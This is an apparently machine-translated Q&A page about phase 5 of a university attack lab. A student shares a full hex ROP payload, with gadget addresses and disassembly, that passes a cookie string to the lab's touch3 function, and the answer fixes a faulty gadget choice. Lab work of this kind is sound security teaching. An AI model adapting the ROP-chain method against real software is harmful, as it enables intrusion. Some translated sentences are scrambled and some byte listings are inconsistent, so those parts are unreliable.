1. ホーム
  2. assembly

[解決済み] アタックラボフェーズ5におけるセグメンテーションの不具合

2022-03-14 22:44:40

質問

これは私のソフトウェアセキュリティのクラスでの攻撃ラボのフェーズ5です。アドレスのランダム化と実行不可能なスタックのため、リターン指向プログラミング(ROP)を使って、与えられたクッキーの値の文字列ポインタをtouch3という関数に引数として渡すことになっています。私は今のところそれしか理解できないので、質問をうまく説明できません。完全な命令はこのPDFの10ページにあります。 攻撃ラボ

コードのロジックは(私が見つけることができる他の人々の答えによって示される)です。

  1. バッファのパディング

  2. を保存します。 %rsp をレジスタに登録します ( %rdi ここで)

  3. アドレスオフセットをレジスタに保存 ( %rax ここで)

  4. 上記の合計値をレジスタに保存する

  5. touch3を呼び出す

  6. クッキーの文字列

  7. で終了させます。 \0

他の方のコードを参考にさせていただいているのですが、ロジックがよく分からないので、いくつか質問させてください。

  1. の合計が必要なのはなぜですか? %rsp とオフセット・アドレスを教えてください。

  2. に値がポップされる理由 %rax にクッキーの文字列のアドレスを渡しています。 %rax ?

  3. この宿題のどこがいけなかったのでしょうか?

すべてのエンコーディングとアドレスが正しく使われていることを再確認する以外に、これを修正する方法は思いつきません。

step1:

48 89 e0 c3 mov %rsp, %rax

ガジェットファームの中に、ありました。

401ae6: b8 27 48 89 e0 mov $0xe0894827,%eax
401aeb: c3

401ae6+2、リバース=>。

E8 1A 40 00 00 00 00 00 00

ステップ2

48 89 c7 c3 mov %rax, %rdi

ガジェットファームの中に、ありました。

401a2d: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax
401a33: c3

90 = nop, どうでもいい

401a2d+2、リバース =>

2f 1a 40 00 00 00 00 00 00

step3です。

58 C3 ポップ %rax

ガジェットファームの中に、ありました。

401a34: c7 07 75 ac 31 58 movl $0x5831ac75,(%rdi)
401a3a: c3

401a34+5、リバース=>。

39 1a 40 00 00 00 00 00

step4:

0x48

この定数は、最初の行からクッキー文字列の行-1までの距離で、アドレスオフセットとも呼ばれるものです。クッキー文字列の前には10行あります。したがって、この値は (10-1)*8 = 72 = 0x48 となります。

ステップ5:

89 c2 movl %eax, %edx

ガジェットファームの中に、ありました。

401aa2: c7 07 89 c2 90 c3 movl $0xc390c289,(%rdi)
401aa8: c3

401aa2+2、リバース=>。

A4 1A 40 00 00 00 00 00 00

ステップ6

89 d1 movl %edx, %ecx

ガジェットファームの中に、ありました。

401afa: 8d 87 89 d1 08 c9 lea -0x36f72e77(%rdi),%eax
401b00: c3

08 c9 = orb R, R = nop, 関係なし

401afa+2リバース =>

FC 1A 40 00 00 00 00 00 00

ステップ7

89 ce movl %ecx, %esi

ガジェットファームの中に、ありました。

401ab0: b8 72 74 89 ce mov $0xce897472,%eax
401ab5: c3

401ab0+3、リバース=>。

B3 1A 40 00 00 00 00 00 00

step8です。

lea (%rdi, %rsi, 1), %rax

ガジェットファームの中に、ありました。

401a68: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401a6c: c3
401a68、リバース =>。

68 1a 40 00 00 00 00 00

step9:

48 89 c7 c3 mov %rax, %rdi

ガジェットファームの中に、ありました。

401a48: b8 34 48 89 c7 mov $0xc7894834,%eax
401a4d: c3

401a48+2リバース =>

4a 1a 40 00 00 00 00 00 00

ステップ10

touch3アドレス (フェーズ3から正しいことを確認) 8a 19 40 00 00 00 00 00

ステップ11

クッキーの文字列表現 (フェーズ3から正しいことを確認)

33 65 35 32 64 66 66 35 00


    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 /* buffer */
    e8 1a 40 00 00 00 00 00 /* step1: mov  %rsp, %rax */
    2f 1a 40 00 00 00 00 00 /* step2: mov %rax, %rdi */
    39 1a 40 00 00 00 00 00 /* step3: pop %rax */
    48 00 00 00 00 00 00 00 /* step4: constant 0x48 */
    a4 1a 40 00 00 00 00 00 /* step5: movl %eax, %edx */
    fc 1a 40 00 00 00 00 00 /* step6: movl %edx, %ecx */
    b3 1a 40 00 00 00 00 00 /* step7: movl %ecx, %esi */
    68 1a 40 00 00 00 00 00 /* step8: lea (%rdi, %rsi, 1), %rax */
    4a 1a 40 00 00 00 00 00 /* step9: mov %rax, %rdi */ 
    8a 19 40 00 00 00 00 00 /* step10: touch3 address */
    33 65 35 32 64 66 66 35 /* step11: string representtion of cookie */
    00 00 00 00 00 00 00 00     

解決方法は?

ステップ2の0x90がnopとして機能していないのが原因です。ステップ2の行をステップ9の行に置き換えることで問題は解決します。どうせ同じになるはずです。たまたま2種類のガジェットを見つけたので、互換性があると信じて2種類のアドレスを使ったのですが、nopは先頭から始めないといけないことが判明しました......。

をクリックすると、ステップ2に進みます。

401a2d: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax

401a33: c3